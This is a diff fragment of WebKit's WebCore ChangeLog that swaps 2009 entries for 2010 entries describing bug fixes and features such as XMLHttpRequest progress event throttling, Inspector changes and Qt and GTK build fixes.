-        (WebCore::JSHTMLAllCollection::getCallData):
-        (WebCore::JSHTMLAllCollection::canGetItemsForName):
-        (WebCore::JSHTMLAllCollection::nameGetter):
-        (WebCore::JSHTMLAllCollection::item):
-        (WebCore::JSHTMLAllCollection::namedItem):
-        * bindings/js/JSHTMLCollectionCustom.cpp:
-        (WebCore::toJS):
-        * bindings/js/JSHTMLDocumentCustom.cpp:
-        * bindings/scripts/CodeGeneratorJS.pm:
-        * dom/Document.cpp:
-        (WebCore::Document::all):
-        * dom/Document.h:
-        * dom/HTMLAllCollection.idl: Removed.
-        * html/HTMLAllCollection.cpp: Added.
-        (WebCore::HTMLAllCollection::create):
-        (WebCore::HTMLAllCollection::HTMLAllCollection):
-        (WebCore::HTMLAllCollection::~HTMLAllCollection):
-        * html/HTMLAllCollection.h: Added.
-        * html/HTMLAllCollection.idl: Added.
-        * html/HTMLCollection.h:
-        * html/HTMLCollection.idl:
-        * html/HTMLDocument.idl:
-        * page/DOMWindow.idl:
-
-2009-10-23  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: pull basic sidebar implementation into the Panel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30720
-
-        * inspector/front-end/Panel.js:
-        (WebInspector.Panel):
-        (WebInspector.Panel.prototype.jumpToPreviousSearchResult):
-        (WebInspector.Panel.prototype.handleKeyEvent):
-        (WebInspector.Panel.prototype._createSidebar):
-        (WebInspector.Panel.prototype._startSidebarDragging):
-        (WebInspector.Panel.prototype._sidebarDragging):
-        (WebInspector.Panel.prototype._endSidebarDragging):
-        (WebInspector.Panel.prototype._updateSidebarWidth):
-        (WebInspector.Panel.prototype.setCenterViewWidth):
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel):
-        (WebInspector.ProfilesPanel.prototype.setCenterViewWidth):
-        * inspector/front-end/StoragePanel.js:
-        (WebInspector.StoragePanel):
-        (WebInspector.StoragePanel.prototype.setCenterViewWidth):
-
-2009-10-23  Jens Alfke  <snej@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Slight optimizations to object returning and exception handling in generated V8 bindings.
-        https://bugs.webkit.org/show_bug.cgi?id=30599
-
-        * bindings/scripts/CodeGeneratorV8.pm: Generate better code
-        * bindings/v8/V8DOMWrapper.h:
-        (WebCore::V8DOMWrapper::convertToV8Object): Added overload that takes a Ref<>
-        * bindings/v8/custom/V8InspectorBackendCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL): Remove unnecessary template param to prevent compile error
-
-2009-10-23  Alpha Lam  <hclam@chromium.org>
-
-        Reviewed by Eric Carlson.
-
-        Volume slider always starts at half volume
-        https://bugs.webkit.org/show_bug.cgi?id=28322
-
-        Sets the value attribute of volume slider to the volume attribute
-        of the media element. Also update the value attribute of the
-        input element for the volume slider when the volume attribute
-        of the media element is updated.
-
-        Test: media/video-volume-slider.html
-
-        * rendering/MediaControlElements.cpp:
-        (WebCore::MediaControlVolumeSliderElement::update):
-        Set the value attribute of the input element for the volume slider
-        using the current volume of the media element.
-        * rendering/MediaControlElements.h:
-        Add method definition of update().
-        * rendering/RenderMedia.cpp:
-        (WebCore::RenderMedia::createVolumeSlider):
-        Creates a volume slider with value attribute equals to the current
-        volume attribute of the media element.
-
-2009-10-23  Evan Martin  <evan@chromium.org>
-
-        Reviewed by Eric Seidel.
-
-        Chrome Linux: fix caret positioning in LTR complex languages
-        The caret is positioned off by one in languages like Thai.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28284
-
-        A group of us spent a while trying various approaches to write a test
-        for this; however, since it is only that the blinking cursor is
-        displayed incorrectly, we concluded it can not be tested.
-
-        (Patch by Hironori Bono.)
-
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::Font::selectionRectForComplexText):
+        Added XMLHttpRequestProgressEventThrottle to the build systems.
 
-2009-10-23  Tony Chang  <tony@chromium.org>
-
-        Reviewed by David Levin.
-
-        Fix Chromium build after IsoldatedWorld change (r49963).
-        https://bugs.webkit.org/show_bug.cgi?id=30719
-
-        * bindings/ScriptControllerBase.cpp:
-        * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::executeScriptInIsolatedWorld):
-        * bindings/v8/ScriptController.cpp:
-        (WebCore::mainThreadNormalWorld):
-        * bindings/v8/ScriptController.h:
-        (WebCore::ScriptController::windowShell):
-        (WebCore::ScriptController::existingWindowShell):
-        * dom/Document.cpp:
-        (WebCore::Document::createWrapperCache):
-        * dom/ScriptExecutionContext.cpp:
-        * dom/ScriptExecutionContext.h:
         * xml/XMLHttpRequest.cpp:
+        (WebCore::XMLHttpRequest::XMLHttpRequest): Created the throttle.
+        (WebCore::XMLHttpRequest::callReadyStateChangeListener): The 'readyState' event are
+        dispatched using the XMLHttpRequestProgressEventThrottle now. For the DONE state, we
+        need to flush any pending progress event as we do not want it to be dispatched after
+        the DONE readyState event.
+        (WebCore::XMLHttpRequest::createRequest): Made this event use the
+        XMLHttpRequestProgressEventThrottle for event dispatching.
+        (WebCore::XMLHttpRequest::abort): Ditto.
+        (WebCore::XMLHttpRequest::networkError): Ditto.
+        (WebCore::XMLHttpRequest::abortError): Ditto.
+        (WebCore::XMLHttpRequest::didReceiveData): Ditto. Also fixed a potential warning.
+        (WebCore::XMLHttpRequest::suspend):
+        (WebCore::XMLHttpRequest::resume): Implemented the logic for suspend / resume.
         * xml/XMLHttpRequest.h:
+        * xml/XMLHttpRequestProgressEventThrottle.cpp: Added.
+        (WebCore::XMLHttpRequestProgressEventThrottle::XMLHttpRequestProgressEventThrottle):
+        (WebCore::XMLHttpRequestProgressEventThrottle::~XMLHttpRequestProgressEventThrottle):
+        (WebCore::XMLHttpRequestProgressEventThrottle::dispatchProgressEvent): Implemented the bulk
+        of the event throttling here: we use a timer to do so, as long as the timer is active it means
+        that events are coming faster than the throttling time and we coalesce them.
+        (WebCore::XMLHttpRequestProgressEventThrottle::dispatchEvent): Generic method to dispatch an event.
+        (WebCore::XMLHttpRequestProgressEventThrottle::flushProgressEvent): Called when we want to dispatch
+        any pending events and stopping any further dispatching.
+        (WebCore::XMLHttpRequestProgressEventThrottle::dispatchPausedEvent): Used to dispatch the event
+        that was queued due to the object being suspended.
+        (WebCore::XMLHttpRequestProgressEventThrottle::fired): Used to dispatch any coalesced event.
+        (WebCore::XMLHttpRequestProgressEventThrottle::hasEventToDispatch): Used to check if we have
+        an event to dispatch.
+        (WebCore::XMLHttpRequestProgressEventThrottle::suspend): Marked the object as suspended.
+        (WebCore::XMLHttpRequestProgressEventThrottle::resume): Dispatched the event that was queued.
+        * xml/XMLHttpRequestProgressEventThrottle.h: Added.
+        (WebCore::):
+        (WebCore::XMLHttpRequestProgressEventThrottle::suspended):
 
-2009-10-23  Xiaomei Ji  <xji@chromium.org>
-
-        Reviewed by Sam Weinig.
-
-        Fix caretRangeFromPoint()/elementFromPoint() returns wrong result 
-        for a zoomed and scrolled page.
-        https://bugs.webkit.org/show_bug.cgi?id=30689.
-
-        The real cause is the wrong calculation of event.clientX/Y when
-        page is zoomed and scolled.
-        After Sam fixed the event.clientX/Y in r49551, the hit test point
-        should be recalculated (revert r49490).
-
-        Test: fast/dom/Document/CaretRangeFromPoint/caretRangeFromPoint-in-zoom-and-scroll.html
-
-        * dom/Document.cpp:
-        (WebCore::Document::elementFromPoint): calculate the correct point
-        relative to document when page is zoomed and scrolled.
-        (WebCore::Document::caretRangeFromPoint): calculate the correct point
-        relative to document when page is zoomed and scrolled.
-
-2009-10-22  Dumitru Daniliuc  <dumi@chromium.org>
-
-        Reviewed by Dmitry Titov.
-
-        Adding a class that allows us to enable/disable features at
-        runtime. Adding a flag to enable database support.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30653
-
-        * WebCore.gypi:
-        * bindings/v8/RuntimeEnabledFeatures.cpp: Added.
-        * bindings/v8/RuntimeEnabledFeatures.h: Added.
-        (WebCore::RuntimeEnabledFeatures::setDatabaseEnabled):
-        (WebCore::RuntimeEnabledFeatures::databaseEnabled):
-        (WebCore::RuntimeEnabledFeatures::RuntimeEnabledFeatures):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8DOMWindowCustom.cpp:
-        (WebCore::ACCESSOR_RUNTIME_ENABLER):
-        * page/DOMWindow.idl:
-
-2009-10-23  Keishi Hattori  <casey.hattori@gmail.com>
+2010-03-23  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Inspector injects _inspectorCommandLineAPI into global object when opened
-        https://bugs.webkit.org/show_bug.cgi?id=30675
+        Web Inspector: Element inspector search funtion: Error dispatching: performSearch.
 
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.getCompletions):
-        (InjectedScript._evaluateOn):
-        (InjectedScript.addInspectedNode):
-        (InjectedScript._ensureCommandLineAPIInstalled): Moved _inspectorCommandLineAPI from window to console.
-
-2009-10-23  Janne Koskinen  <janne.p.koskinen@digia.com>
+        https://bugs.webkit.org/show_bug.cgi?id=36488
 
-        Reviewed by Tor Arne Vestbø.
+        Test: inspector/elements-panel-search.html
 
-        [Qt] don't undef NULL in Symbian emulator
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        (WebInspector.ElementsPanel.prototype.addNodesToSearchResult):
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor.):
+        (injectedScriptConstructor):
 
-        npapi.h way of defining mwerks compiler,__intel__
-        and win32 are all true for Symbian emulator.
-        Changed the definions so that NULL won't be undefined
-        when compiling for Symbian emulator nor target HW.
+2010-03-23  Qi Zhang  <qi.2.zhang@nokia.com>
 
-        * bridge/npapi.h:
+        Reviewed by Simon Hausmann.
 
-2009-10-23  Janne Koskinen  <janne.p.koskinen@digia.com>
+        [Qt]  fast/canvas/patternfill-repeat.html failed.
+        https://bugs.webkit.org/show_bug.cgi?id=34477
 
-        Reviewed by Tor Arne Vestbø.
+        Change Pattern to expose the repeatX and repeatY
+        At GraphicsContextQt to apply repeatX and repeatY
 
-        [Qt] Correct linking of sqlite3 for Symbian
-        https://bugs.webkit.org/show_bug.cgi?id=30569
+        * platform/graphics/Pattern.h:
+        (WebCore::Pattern::repeatX):
+        (WebCore::Pattern::repeatY):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::rotate):
 
-        ".lib" will try to include library as static library
-        causing the library to be searched from wrong directory and if found
-        will be statically linked instead of the inteded dynamic linking.
+2010-03-23  Alex Milowski  <alex@milowski.com>
 
-        * WebCore.pro:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-10-23  Enrica Casucci  <enrica@apple.com>
+        Removed the use of beta STIX fonts.
 
-        Reviewed by Adele Peterson.
+        * css/mathml.css:
 
-        REGRESSION: Copy is copying incorrect background-color
-        <rdar://problem/7248529>
-        https://bugs.webkit.org/show_bug.cgi?id=29697
+2010-03-23  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
 
-        Test: editing/execCommand/indent-paragraphs.html
+        Reviewed by Holger Freyther.
 
-        This change removes the BackgroundColor from the list 
-        of inheritable CSS properties and changes significantly
-        the way we perform indentation.
-        The new implementation of IndentOutdentCommand uses a new method
-        defined in CompositeEditCommand called moveParagraphWithClones.
-        This is an improved version of the original moveParagraph that
-        is aimed at preserving the original markup of the paragraph being
-        moved.
+        [GTK] Does not build with latest GTK+ development release
+        https://bugs.webkit.org/show_bug.cgi?id=36398
 
-        * editing/ApplyStyleCommand.cpp:
-        (WebCore::): removed CSSPropertyBackgroundColor from editingStyleProperties.
-        * editing/CompositeEditCommand.cpp:
-        (WebCore::CompositeEditCommand::CompositeEditCommand): Removed trailing blanks.
-        (WebCore::CompositeEditCommand::rebalanceWhitespaceAt): Removed trailing blanks.
-        (WebCore::CompositeEditCommand::cloneParagraphUnderNewElement): Added.
-        (WebCore::CompositeEditCommand::cleanupAfterDeletion): Added.
-        (WebCore::CompositeEditCommand::moveParagraphWithClones): Added.
-        (WebCore::CompositeEditCommand::moveParagraphs): Modified to use cleanupAfterDeletion.
-        (WebCore::CompositeEditCommand::breakOutOfEmptyListItem): Removed trailing blanks.
-        (WebCore::CompositeEditCommand::breakOutOfEmptyMailBlockquotedParagraph): Removed trailing blanks.
-        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary): Removed trailing blanks.
-        * editing/CompositeEditCommand.h: Added three new methods.
-        * editing/IndentOutdentCommand.cpp:
-        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): Changed to use moveParagraphWithClones.
-        (WebCore::IndentOutdentCommand::indentIntoBlockquote): Changed to use moveParagraphWithClones.
-        (WebCore::IndentOutdentCommand::indentRegion): Removed comment.
-        * editing/IndentOutdentCommand.h: Removed prepareBlockquoteLevelForInsertion method.
-
-2009-10-23  Steve Block  <steveblock@google.com>
+        Fix building with newest GTK+ versions.
 
-        Reviewed by Eric Seidel.
+        * GNUmakefile.am:
+        * platform/gtk/GtkPluginWidget.cpp:
+        (WebCore::GtkPluginWidget::invalidateRect):
+        (WebCore::GtkPluginWidget::paint):
+        * platform/gtk/GtkVersioning.h: Added.
+        * platform/gtk/PlatformScreenGtk.cpp:
+        (WebCore::getVisual):
+        (WebCore::screenRect):
+        (WebCore::screenAvailableRect):
+        * platform/gtk/ScrollbarGtk.cpp:
+        (ScrollbarGtk::paint):
+        * plugins/gtk/gtk2xtbin.c:
+        (gtk_xtbin_set_position):
+        (gtk_xtbin_unrealize):
 
-        Adds missing UnusedParam.h includes, required when INSPECTOR is not enabled.
-        https://bugs.webkit.org/show_bug.cgi?id=30677
+2010-03-23  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        Build fix, no new tests required.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * page/Console.cpp: Modified. Added UnusedParam.h include.
-        * workers/WorkerContext.cpp: Modified. Added UnusedParam.h include.
+        [Qt] Remove support for Qt v4.4
+        https://bugs.webkit.org/show_bug.cgi?id=36389
 
-2009-10-23  Girish Ramakrishnan  <girish@forwardbias.in>
+        No new tests as there is no new functionality.
 
-        Reviewed by Holger Freyther.
+        * WebCore.pri:
+        * WebCore.pro:
+        * platform/network/qt/ResourceHandleQt.cpp:
+        (WebCore::ResourceHandle::willLoadFromCache):
+        * platform/qt/CookieJarQt.cpp:
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        * platform/qt/KURLQt.cpp:
+        (WebCore::KURL::operator QUrl):
+        * platform/qt/ScrollbarThemeQt.cpp:
+        (WebCore::ScrollbarThemeQt::paintScrollCorner):
+        * plugins/mac/PluginViewMac.cpp:
 
-        [Qt] Plugins : Use window's winId() instead of the widget's.
+2010-03-23  Kent Tamura  <tkent@chromium.org>
 
-        As per, https://developer.mozilla.org/en/NPN_GetValue
-        NPNVnetscapeWindow on Unix/X11: "Gets the browser toplevel window in which the
-        plug-in is displayed; returns Window".
+        Reviewed by Adam Barth.
 
-        The issue was found because NPNVNetscapeWindow winId() ends up creating
-        a native window resulting in flicker.
+        Add checks if setNeedsWillValidateCheck() and
+        setNeedsValidityCheck() are called correctly.
+        https://bugs.webkit.org/show_bug.cgi?id=34924
 
-        https://bugs.webkit.org/show_bug.cgi?id=30706
+        Introduce HTMLFormControlElement::m_willValidate and
+        m_isValid. They are the caches of willValidate() and
+        isValidFormControlElement(). setNeedsWillValidateCheck() updates
+        m_willValidate and setNeedsValidityCheck() updates m_isValid.
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::getValue):
+        willValidate() and isValidFormControlElement() have assertions to
+        check m_willvalidate or m_isValid has the correct state. If
+        setNeedsWillValidateCheck() or setNeedsValidityCheck() is needed
+        to be called and is not called, these assertions fail.
 
-2009-10-23  Girish Ramakrishnan  <girish@forwardbias.in>
+        * html/HTMLButtonElement.h:
+        (WebCore::HTMLButtonElement::recalcWillValidate):
+        * html/HTMLFieldSetElement.h:
+        (WebCore::HTMLFieldSetElement::recalcWillValidate):
+        * html/HTMLFormControlElement.cpp:
+        (WebCore::HTMLFormControlElement::HTMLFormControlElement):
+        (WebCore::HTMLFormControlElement::parseMappedAttribute):
+        (WebCore::HTMLFormControlElement::recalcWillValidate):
+        (WebCore::HTMLFormControlElement::willValidate):
+        (WebCore::HTMLFormControlElement::setNeedsWillValidateCheck):
+        (WebCore::HTMLFormControlElement::validationMessage):
+        (WebCore::HTMLFormControlElement::isValidFormControlElement):
+        (WebCore::HTMLFormControlElement::setNeedsValidityCheck):
+        * html/HTMLFormControlElement.h:
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::HTMLInputElement::parseMappedAttribute):
+        (WebCore::HTMLInputElement::setValue):
+        (WebCore::HTMLInputElement::recalcWillValidate):
+        * html/HTMLInputElement.h:
+        * html/HTMLTextAreaElement.cpp:
+        (WebCore::HTMLTextAreaElement::setNonDirtyValue):
 
-        Reviewed by Holger Freyther.
+2010-03-22  Pavel Feldman  <pfeldman@chromium.org>
 
-        [Qt] Windowless Plugins : Don't use m_clipRect when painting.
+        Reviewed by Dave Hyatt.
 
-        Though it works, it is not correct to use m_clipRect for painting
-        in Windowless mode. Instead, the rect paramater that is passed
-        as a part of PluginView::paint() must be used. This change will
-        also result in some speedup since previously we used to paint all
-        the visible parts of a windowless plugin (even if those parts were
-        not dirty).
+        Web Inspector: display CSS selector source line in the styles sidebar pane.
 
-        Also, fix invalidateRect() to compute the correct width and height.
+        https://bugs.webkit.org/show_bug.cgi?id=36414
 
-        https://bugs.webkit.org/show_bug.cgi?id=30711
+        This change adds a sourceLine field into the CSSStyleRule that is populated
+        from within the parser. CSSParser is now keeping track of the line numbers
+        and last selector line number that is being used while creating CSSStyleRules.
 
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::PluginView::paint):
-        (WebCore::PluginView::invalidateRect):
+        Test: inspector/styles-source-lines.html
 
-2009-10-21  Girish Ramakrishnan  <girish@forwardbias.in>
+        * css/CSSGrammar.y:
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::CSSParser):
+        (WebCore::CSSParser::lex):
+        (WebCore::CSSParser::countLines):
+        (WebCore::CSSParser::createStyleRule):
+        * css/CSSParser.h:
+        (WebCore::CSSParser::updateLastSelectorLine):
+        * css/CSSStyleRule.cpp:
+        (WebCore::CSSStyleRule::CSSStyleRule):
+        * css/CSSStyleRule.h:
+        (WebCore::CSSStyleRule::create):
+        (WebCore::CSSStyleRule::sourceLine):
+        * css/tokenizer.flex:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::buildObjectForRule):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertiesSection):
 
-        Reviewed by Holger Freyther.
+2010-03-22  Qi Zhang  <qi.2.zhang@nokia.com>
 
-        Plugins : Use test.swf in the plugins manual tests.
+        Reviewed by Laszlo Gombos.
 
-        They previously referenced youtube videos which among other things are
-        cumbersome to use without internet connection. The old youtube link is
-        just commented out so that testing with youtube can be done with
-        little effort.
+        [Qt] Fix arc function in canvas
+        https://bugs.webkit.org/show_bug.cgi?id=36296
 
-        https://bugs.webkit.org/show_bug.cgi?id=30662
+        Based on HTLM5 spec (4.8.10.1.8 Complex shapes), arc function should draw a line to previous point, not only the arc.
 
-        * manual-tests/plugins/test.swf: Copied from LayoutTests/fast/replaced/resources/test.swf.
-        * manual-tests/plugins/windowed.html:
-        * manual-tests/plugins/windowless.html:
-        * manual-tests/qt/plugin-sibling-frame-include.html:
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::addArc):
 
-2009-10-23  Brian Weinstein  <bweinstein@apple.com>
+2010-03-19  Abhishek Arya  <inferno@chromium.org>
 
-        Reviewed by Jon Honeycutt.
+        Reviewed by Adam Barth.
 
-        Fix the Windows Release build by moving Accessibility files
-        into all-in-one file and excluding them from the build.
+        https://bugs.webkit.org/show_bug.cgi?id=36339
+        Off-by-one memory corruption fix for long invalid websockets upgrade header
 
-        * WebCore.vcproj/WebCore.vcproj:
-        * accessibility/AccessibilityAllInOne.cpp: Added.
+        Test: websocket/tests/long-invalid-header.html
 
-2009-10-16  Gavin Barraclough  <barraclough@apple.com>
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::WebSocketHandshake::readServerHandshake):
 
-        Reviewed by Sam Weinig & Geoff Garen.
+2010-03-22  Fumitoshi Ukai  <ukai@chromium.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30696
-        Add support for IsolatedWorlds to JSC bindings.
+        Unreviewed build fix for Chromim Mac at r56376
 
-        An IsolatedWorld is basically a parallel, separate copy of the window shells and DOM wrapper objects for
-        a given document.  To support isolation this patch:
+        Fix initializer order  of PopupContainer.
 
-            * Adds support to the ScriptController to track multiple window shells, one per world.
-            * Adds support to Document to support multiple separate wrapper-maps, one per world.
-            * Replaces the single global DOM wrapper map (on the WebCoreJSClientData) with separate maps,
-              stored on the (new) IsolatedWorld objects.
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupContainer::PopupContainer):
 
-        In addition to supporting separate copies of these objects, two other features are supported:
+2010-03-22  Jay Campan  <jcampan@google.com>
 
-            * It is necessary to track the current world on entry into JSC, so that within callbacks out to WebCore
-              we can determine which world (and as such, set of DOM bindings) we should be operating on.
-            * EventListeners & Callbacks are run in the world they were registered in.
-              This requires the handler to retain a reference to the world.
+        Reviewed by Darin Fisher.
 
-        No new tests. (Enabled existing isolated world layout tests.)
+        Making Chromium select popups not steal activation from the browser.
+        Select popups are now like autocomplete popups, shown in non-activated
+        windows.
+        https://bugs.webkit.org/show_bug.cgi?id=36062
 
-        * WebCore.base.exp:
-        * bindings/js/JSAbstractWorkerCustom.cpp:
-        (WebCore::JSAbstractWorker::addEventListener):
-        (WebCore::JSAbstractWorker::removeEventListener):
-        * bindings/js/JSCallbackData.cpp:
-        (WebCore::JSCallbackData::invokeCallback):
-        * bindings/js/JSCallbackData.h:
-        (WebCore::JSCallbackData::JSCallbackData):
-        * bindings/js/JSCustomXPathNSResolver.cpp:
-        (WebCore::JSCustomXPathNSResolver::lookupNamespaceURI):
-        * bindings/js/JSDOMApplicationCacheCustom.cpp:
-        (WebCore::JSDOMApplicationCache::addEventListener):
-        (WebCore::JSDOMApplicationCache::removeEventListener):
-        * bindings/js/JSDOMBinding.cpp:
-        (WebCore::removeWrappers):
-        (WebCore::DOMObjectWrapperMap::get):
-        (WebCore::DOMObjectWrapperMap::set):
-        (WebCore::DOMObjectWrapperMap::remove):
-        (WebCore::DOMObjectWrapperMap::take):
-        (WebCore::IsolatedWorld::IsolatedWorld):
-        (WebCore::IsolatedWorld::~IsolatedWorld):
-        (WebCore::EnterIsolatedWorld::EnterIsolatedWorld):
-        (WebCore::EnterIsolatedWorld::~EnterIsolatedWorld):
-        (WebCore::JSGlobalDataWorldIterator::JSGlobalDataWorldIterator):
-        (WebCore::JSGlobalDataWorldIterator::operator bool):
-        (WebCore::JSGlobalDataWorldIterator::operator*):
-        (WebCore::JSGlobalDataWorldIterator::operator->):
-        (WebCore::JSGlobalDataWorldIterator::operator++):
-        (WebCore::getCurrentWorld):
-        (WebCore::getNormalWorld):
-        (WebCore::commonNormalWorld):
-        (WebCore::commonCurrentWorld):
-        (WebCore::DOMObjectHashTableMap::mapFor):
-        (WebCore::DOMObjectWrapperMap::mapFor):
-        (WebCore::forgetDOMObject):
-        (WebCore::getCachedDOMNodeWrapper):
-        (WebCore::forgetDOMNode):
-        (WebCore::cacheDOMNodeWrapper):
-        (WebCore::forgetAllDOMNodesForDocument):
-        (WebCore::forgetWorldOfDOMNodesForDocument):
-        (WebCore::isObservableThroughDOM):
-        (WebCore::markDOMNodesForDocument):
-        (WebCore::markActiveObjectsForContext):
-        (WebCore::takeWrappers):
-        (WebCore::updateDOMNodeDocument):
-        (WebCore::markDOMObjectWrapper):
-        (WebCore::allowsAccessFromFrame):
-        (WebCore::printErrorMessageForFrame):
-        (WebCore::JSC_DebuggerCallFrame_evaluateInWorld):
-        (WebCore::JSC_callInWorld):
-        (WebCore::JSC_constructInWorld):
-        (WebCore::JSC_evaluateInWorld):
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::IsolatedWorld::rememberDocument):
-        (WebCore::IsolatedWorld::forgetDocument):
-        (WebCore::IsolatedWorld::rememberScriptController):
-        (WebCore::IsolatedWorld::forgetScriptController):
-        (WebCore::DOMObjectHashTableMap::~DOMObjectHashTableMap):
-        (WebCore::DOMObjectHashTableMap::get):
-        (WebCore::WebCoreJSClientData::WebCoreJSClientData):
-        (WebCore::WebCoreJSClientData::currentWorld):
-        (WebCore::WebCoreJSClientData::normalWorld):
-        (WebCore::WebCoreJSClientData::rememberWorld):
-        (WebCore::WebCoreJSClientData::forgetWorld):
-        (WebCore::debuggerWorld):
-        (WebCore::pluginWorld):
-        * bindings/js/JSDOMGlobalObject.cpp:
-        (WebCore::JSDOMGlobalObject::createJSAttributeEventListener):
-        (WebCore::toJSDOMGlobalObject):
-        * bindings/js/JSDOMGlobalObject.h:
-        * bindings/js/JSDOMWindowBase.cpp:
-        (WebCore::JSDOMWindowBase::printErrorMessage):
-        (WebCore::JSDOMWindowBase::commonJSGlobalData):
-        (WebCore::toJS):
-        (WebCore::toJSDOMWindow):
-        * bindings/js/JSDOMWindowBase.h:
-        * bindings/js/JSDOMWindowCustom.cpp:
-        (WebCore::createWindow):
-        (WebCore::JSDOMWindow::open):
-        (WebCore::JSDOMWindow::showModalDialog):
-        (WebCore::JSDOMWindow::setTimeout):
-        (WebCore::JSDOMWindow::setInterval):
-        (WebCore::JSDOMWindow::addEventListener):
-        (WebCore::JSDOMWindow::removeEventListener):
-        * bindings/js/JSDOMWindowShell.cpp:
-        (WebCore::toJS):
-        (WebCore::toJSDOMWindowShell):
-        * bindings/js/JSDOMWindowShell.h:
-        * bindings/js/JSDesktopNotificationsCustom.cpp:
-        (WebCore::JSNotification::addEventListener):
+        * page/chromium/ChromeClientChromium.h:
+        * platform/chromium/PopupMenuChromium.cpp:
         (WebCore::):
-        * bindings/js/JSEventListener.cpp:
-        (WebCore::JSEventListener::JSEventListener):
-        (WebCore::JSEventListener::handleEvent):
-        (WebCore::JSEventListener::reportError):
-        * bindings/js/JSEventListener.h:
-        (WebCore::JSEventListener::create):
-        * bindings/js/JSEventSourceCustom.cpp:
-        (WebCore::JSEventSource::addEventListener):
-        (WebCore::JSEventSource::removeEventListener):
-        * bindings/js/JSEventTarget.cpp:
-        (WebCore::toJS):
-        * bindings/js/JSHTMLDocumentCustom.cpp:
-        (WebCore::JSHTMLDocument::open):
-        * bindings/js/JSHTMLFrameSetElementCustom.cpp:
-        (WebCore::JSHTMLFrameSetElement::nameGetter):
-        * bindings/js/JSInspectorBackendCustom.cpp:
-        (WebCore::JSInspectorBackend::databaseForId):
-        (WebCore::JSInspectorBackend::inspectedWindow):
-        (WebCore::JSInspectorBackend::nodeForId):
-        * bindings/js/JSLazyEventListener.cpp:
-        (WebCore::JSLazyEventListener::JSLazyEventListener):
-        (WebCore::JSLazyEventListener::parseCode):
-        * bindings/js/JSLazyEventListener.h:
-        (WebCore::JSLazyEventListener::create):
-        * bindings/js/JSMessageChannelCustom.cpp:
-        (WebCore::JSMessageChannel::markChildren):
-        * bindings/js/JSMessagePortCustom.cpp:
-        (WebCore::JSMessagePort::markChildren):
-        (WebCore::JSMessagePort::addEventListener):
-        (WebCore::JSMessagePort::removeEventListener):
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener):
-        (WebCore::JSNode::removeEventListener):
-        (WebCore::JSNode::markChildren):
-        * bindings/js/JSNodeFilterCondition.cpp:
-        (WebCore::JSNodeFilterCondition::acceptNode):
-        * bindings/js/JSQuarantinedObjectWrapper.cpp:
-        (WebCore::JSQuarantinedObjectWrapper::construct):
-        (WebCore::JSQuarantinedObjectWrapper::call):
-        * bindings/js/JSSVGElementInstanceCustom.cpp:
-        (WebCore::JSSVGElementInstance::addEventListener):
-        (WebCore::JSSVGElementInstance::removeEventListener):
-        * bindings/js/JSSharedWorkerCustom.cpp:
-        (WebCore::JSSharedWorker::markChildren):
-        * bindings/js/JSWebSocketCustom.cpp:
-        (WebCore::JSWebSocket::addEventListener):
-        (WebCore::JSWebSocket::removeEventListener):
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::addEventListener):
-        (WebCore::JSWorkerContext::removeEventListener):
-        (WebCore::JSWorkerContext::setTimeout):
-        (WebCore::JSWorkerContext::setInterval):
-        * bindings/js/JSXMLHttpRequestConstructor.cpp:
-        (WebCore::constructXMLHttpRequest):
-        * bindings/js/JSXMLHttpRequestCustom.cpp:
-        (WebCore::JSXMLHttpRequest::markChildren):
-        (WebCore::JSXMLHttpRequest::addEventListener):
-        (WebCore::JSXMLHttpRequest::removeEventListener):
-        * bindings/js/JSXMLHttpRequestUploadCustom.cpp:
-        (WebCore::JSXMLHttpRequestUpload::markChildren):
-        (WebCore::JSXMLHttpRequestUpload::addEventListener):
-        (WebCore::JSXMLHttpRequestUpload::removeEventListener):
-        * bindings/js/ScheduledAction.cpp:
-        (WebCore::ScheduledAction::create):
-        (WebCore::ScheduledAction::ScheduledAction):
-        (WebCore::ScheduledAction::executeFunctionInContext):
-        (WebCore::ScheduledAction::execute):
-        * bindings/js/ScheduledAction.h:
-        (WebCore::ScheduledAction::ScheduledAction):
-        * bindings/js/ScriptCachedFrameData.cpp:
-        (WebCore::ScriptCachedFrameData::ScriptCachedFrameData):
